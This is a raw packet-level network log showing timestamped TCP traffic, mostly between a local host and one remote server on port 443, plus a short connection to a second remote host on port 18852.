Dec 29, 2024 09:02:03.902417898 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:03.902446985 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:03.902627945 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:03.902658939 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:03.903764009 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:03.907196999 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:03.907217026 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:03.907278061 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:03.907285929 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:03.907761097 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:03.912146091 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:03.912162066 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:03.912235975 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:03.912241936 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:03.912281990 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:03.917916059 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:03.917934895 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:03.917979002 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:03.917984009 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:03.918011904 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:03.918026924 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:03.923448086 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:03.923463106 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:03.923525095 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:03.923533916 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:03.923670053 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:03.928819895 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:03.928836107 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:03.928905010 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:03.928919077 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:03.929243088 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:04.020992041 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:04.021027088 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:04.021337986 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:04.021403074 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:04.021487951 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:04.060822964 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:04.060842991 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:04.061034918 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:04.061084032 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:04.063781023 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:04.093780994 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:04.093796015 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:04.094069958 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:04.094118118 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:04.094182014 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:04.099319935 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:04.099334002 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:04.099419117 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:04.099433899 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:04.099772930 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:04.104990959 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:04.105005980 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:04.105074883 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:04.105088949 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:04.106901884 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:04.110018969 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:04.110035896 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:04.110101938 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:04.110115051 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:04.111768007 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:04.115514994 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:04.115531921 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:04.115582943 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:04.115605116 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:04.115632057 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:04.115652084 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:04.120918989 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:04.120933056 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:04.120994091 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:04.121007919 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:04.121078014 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:04.213074923 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:04.213097095 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:04.213184118 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:04.213252068 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:04.215805054 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:04.252662897 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:04.252681017 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:04.252782106 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:04.252810955 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:04.255785942 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:04.285801888 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:04.285824060 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:04.285881996 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:04.285902977 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:04.285927057 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:04.285945892 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:04.291376114 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:04.291389942 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:04.291450024 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:04.291460037 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:04.291760921 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:04.297065020 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:04.297085047 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:04.297133923 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:04.297146082 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:04.299763918 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:04.302059889 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:04.302081108 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:04.302114010 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:04.302129030 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:04.302154064 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:04.302169085 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:04.307758093 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:04.307773113 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:04.307811022 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:04.307821035 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:04.307843924 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:04.307868004 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:04.312980890 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:04.312994957 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:04.313061953 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:04.313071012 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:04.315776110 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:04.405205011 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:04.405230999 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:04.405309916 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:04.405327082 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:04.407777071 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:04.445393085 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:04.445414066 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:04.445472956 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:04.445483923 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:04.445509911 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:04.445522070 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:04.477945089 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:04.477967978 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:04.478009939 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:04.478028059 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:04.478044987 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:04.478063107 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:04.483633041 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:04.483649015 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:04.483689070 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:04.483700991 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:04.483714104 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:04.483737946 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:04.489182949 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:04.489200115 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:04.489249945 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:04.489264011 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:04.489340067 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:04.494184971 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:04.494199038 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:04.494251966 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:04.494266033 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:04.494366884 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:04.499902010 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:04.499917030 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:04.499963999 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:04.499977112 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:04.500740051 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:04.505170107 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:04.505183935 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:04.505223989 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:04.505237103 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:04.505249977 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:04.505266905 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:04.597235918 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:04.597259998 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:04.597321033 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:04.597340107 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:04.597353935 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:04.597373962 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:04.637082100 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:04.637109995 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:04.637221098 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:04.637228012 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:04.637284040 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:04.669991016 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:04.670007944 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:04.670098066 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:04.670104027 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:04.670139074 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:04.675781965 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:04.675798893 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:04.675864935 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:04.675873041 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:04.675906897 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:04.681216002 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:04.681231022 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:04.681298018 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:04.681305885 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:04.683768034 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:04.686898947 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:04.686913967 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:04.686973095 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:04.686980963 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:04.687407017 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:04.691888094 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:04.691903114 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:04.691967010 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:04.691975117 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:04.695774078 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:04.697148085 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:04.697163105 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:04.697210073 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:04.697217941 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:04.699774981 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:04.789347887 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:04.789366007 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:04.789427996 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:04.789437056 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:04.789542913 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:04.829176903 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:04.829191923 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:04.829293013 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:04.829298973 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:04.829335928 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:04.862903118 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:04.862922907 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:04.863004923 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:04.863013029 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:04.863049984 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:04.867886066 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:04.867901087 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:04.867969036 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:04.867975950 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:04.868006945 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:04.873470068 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:04.873486042 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:04.873577118 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:04.873600960 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:04.873656034 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:04.879134893 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:04.879149914 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:04.879206896 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:04.879224062 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:04.879259109 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:04.884114027 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:04.884130001 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:04.884187937 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:04.884200096 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:04.884234905 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:04.890129089 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:04.890144110 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:04.890211105 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:04.890223980 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:04.890265942 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:04.981493950 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:04.981512070 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:04.981735945 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:04.981802940 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:04.981862068 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:05.022100925 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:05.022119999 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:05.022203922 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:05.022224903 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:05.022264957 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:05.022738934 CET	49736	18852	192.168.2.4	118.107.44.219
Dec 29, 2024 09:02:05.054815054 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:05.054835081 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:05.054894924 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:05.054915905 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:05.054951906 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:05.060486078 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:05.060502052 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:05.060571909 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:05.060585976 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:05.060625076 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:05.065448046 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:05.065463066 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:05.065516949 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:05.065529108 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:05.065567017 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:05.071057081 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:05.071072102 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:05.071122885 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:05.071134090 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:05.071175098 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:05.076790094 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:05.076803923 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:05.076854944 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:05.076865911 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:05.076909065 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:05.082012892 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:05.082026958 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:05.082072973 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:05.082094908 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:05.082128048 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:05.142230988 CET	18852	49736	118.107.44.219	192.168.2.4
Dec 29, 2024 09:02:05.142309904 CET	49736	18852	192.168.2.4	118.107.44.219
Dec 29, 2024 09:02:05.173767090 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:05.173791885 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:05.173912048 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:05.173929930 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:05.174065113 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:05.213583946 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:05.213612080 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:05.213799953 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:05.213812113 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:05.213850021 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:05.247701883 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:05.247730970 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:05.247849941 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:05.247859955 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:05.247896910 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:05.252691031 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:05.252707958 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:05.252784014 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:05.252794027 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:05.252836943 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:05.258335114 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:05.258349895 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:05.258415937 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:05.258424997 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:05.258462906 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:05.263959885 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:05.263974905 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:05.264036894 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:05.264044046 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:05.264079094 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:05.269578934 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:05.269593954 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:05.269664049 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:05.269676924 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:05.269715071 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:05.274871111 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:05.274893045 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:05.274964094 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:05.274970055 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:05.275002956 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:05.365587950 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:05.365603924 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:05.365657091 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:05.365680933 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:05.365696907 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:05.365717888 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:05.406207085 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:05.406224966 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:05.406301022 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:05.406338930 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:05.406378031 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:05.439600945 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:05.439615965 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:05.439678907 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:05.439697981 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:05.439733982 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:05.445180893 CET	443	49735	149.129.12.34	192.168.2.4
